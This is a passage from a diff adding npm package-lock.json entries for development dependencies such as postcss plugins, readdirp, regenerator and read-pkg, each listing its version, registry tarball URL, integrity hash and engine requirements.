"sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/postcss-cli/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/postcss-cli/node_modules/slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/postcss-cli/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz", + "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==", + "dev": true, + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^2.1.1" + }, + "engines": { + "node": ">= 14" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-reporter": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", + "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", + "dev": true, + "dependencies": { + "picocolors": "^1.0.0", + "thenby": "^1.3.4" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/postcss/node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/process-on-spawn": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.0.0.tgz", + "integrity": "sha512-1WsPDsUSMmZH5LeMLegqkPDrsGgsWwk1Exipy2hvB0o/F0ASzbpIctSCcZIK1ykJvtTJULEH+20WOFjMvGnCTg==", + "dev": true, + "dependencies": { + "fromentries": "^1.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dev": true, + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==", + "dev": true + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", + "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, + "dependencies": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + } + }, + "node_modules/pumpify/node_modules/pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/read-cache/node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", + "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==", + "dev": true, + "dependencies": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", + "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==", + "dev": true, + "dependencies": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg-up/node_modules/find-up": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", + "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==", + "dev": true, + "dependencies": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg-up/node_modules/path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", + "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==", + "dev": true, + "dependencies": { + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg/node_modules/path-type": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", + "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg/node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/readdirp/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readdirp/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "dev": true, + "dependencies": { + "resolve": "^1.1.6" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "dev": true + }, + "node_modules/regenerator-transform": { + "version": "0.15.1", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.1.tgz", + "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "dev": true, + "dependencies": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regex-not/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regex-not/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regexpp": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", + "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dev": true, + "dependencies": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dev": true, + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/release-zalgo": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/release-zalgo/-/release-zalgo-1.0.0.tgz", + "integrity": "sha512-gUAyHVHPPC5wdqX/LG4LWtRYtgjxyX78oanFNTMMyFEfOqdC54s3eE82imuWKbOeqYht2CrNf64Qb8vgmmtZGA==", + "dev": true, + "dependencies": { + "es6-error": "^4.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/remove-bom-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/remove-bom-buffer/-/remove-bom-buffer-3.0.0.tgz", + "integrity": "sha512-8v2rWhaakv18qcvNeli2mZ/TMTL2nEyAKRvzo1WtnZBl15SHyEhrCu2/xKlJyUFKHiHgfXIyuY6g2dObJJycXQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5", + "is-utf8": "^0.2.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/remove-bom-stream": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/remove-bom-stream/-/remove-bom-stream-1.2.0.tgz", + "integrity": "sha512-wigO8/O08XHb8YPzpDDT+QmRANfW6vLqxfaXm1YXhnFf3AkSLyjfG3GEFg4McZkmgL7KvCj5u2KczkvSP6NfHA==", + "dev": true, + "dependencies": { + "remove-bom-buffer": "^3.0.0", + "safe-buffer": "^5.1.0", + "through2": "^2.0.3" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remove-bom-stream/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/remove-trailing-separator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", + "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==", + "dev": true + }, + "node_modules/repeat-element": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", + "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/replace-ext": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-2.0.0.tgz", + "integrity": "sha512-UszKE5KVK6JvyD92nzMn9cDapSk6w/CaFZ96CnmDMUqH9oowfxF/ZjRITD25H4DnOQClLA4/j7jLGXXLVKxAug==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/replace-homedir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/replace-homedir/-/replace-homedir-1.0.0.tgz", + "integrity": 